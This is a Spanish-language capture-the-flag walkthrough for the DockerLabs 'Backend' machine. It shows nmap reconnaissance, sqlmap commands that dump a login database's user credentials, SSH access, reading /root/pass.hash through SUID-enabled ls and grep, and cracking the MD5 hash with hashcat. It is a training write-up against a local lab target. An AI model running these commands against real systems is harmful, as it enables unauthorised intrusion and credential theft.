Backend
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos determinando si el objetivo es Windows o Linux enviando paquetes ICMP:
ping -c 3 172.17.0.2

📌 La respuesta contiene campos como ttl=64, lo que suele indicar que el sistema es Linux.
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-sVC: Escaneo de versiones de servicios y ejecución de scripts.-p-: Escanea todos los puertos (1-65535).-n: Desactiva la resolución DNS.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.

El escaneo revela la presencia de un servicio HTTP en el puerto 80 y un servicio SSH en el puerto 22.
Entramos a la página

🕵️Análisis de vulnerabilidades
También hay un panel de login.html
Como es habitual, inspeccionamos el código fuente de la página para ver cómo maneja los logins. En este caso, encontramos un login.php que no se puede ver su fuente.
Sospechando de una posible inyección SQL, usamos sqlmap para analizar el formulario:
sqlmap --url "http://172.17.0.2/login.html" --forms --dbs --batch
💥 Vulnerabilidad detectada: SQL Injection en el formulario de login

🎯 Explotación
Veamos sus tablas
sqlmap --url "http://172.17.0.2/login.html" --forms -D users --tables --batch
Se descubre la tabla usuarios.

Consultamos las credenciales guardadas en esa tabla:
sqlmap --url "http://172.17.0.2/login.html" --forms -T usuarios --columns --batch

Ahora indicamos que queramos ver el usuario y la contraseña
sqlmap --url "http://172.17.0.2/login.html" --forms -D users -T usuarios -C username,password --dump --batch
🪪 Y aparecen los usuarios y contraseñas extraídos exitosamente:

Como previamente descubrimos que el servicio SSH está disponible, intentamos conectarnos usando las credenciales obtenidas:
ssh pepe@172.17.0.2
🎉 **¡PUM! Ya estamos dentro de la máquina como el usuario pepe! 💻🔓

📈 Escalada de privilegios
Una vez con acceso al sistema, buscamos archivos con el bit SUID activado para identificar posibles vectores de escalada local:
find / -type f -perm -4000 2>/dev/null
🔍 Observamos que comandos como ls y grep tienen el bit SUID.
Esto nos permite listar directorios y leer archivos como si fuéramos root.
📂 Listamos el contenido del directorio /root:
/usr/bin/ls /root
📄 Encontramos un archivo pass.hash. Usamos grep para ver su contenido:

y con el grep vemos el hash
/usr/bin/grep "" /root/pass.hash
Obtenemos un hash, que guardamos en un archivo:
echo "HASH_AQUÍ" > hash.txt
🔎 Identificamos que el hash es MD5,, gracias a Hash-Identifier.

Consultando en Hashcat, vemos que el ID correspondiente para este tipo es 0
⚒️ Crackeamos el hash con hashcat y la famosa wordlist rockyou.txt:
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
💥 ¡Contraseña crackeada!: spongebob34

Ahora iniciamos sesión como root:
su root
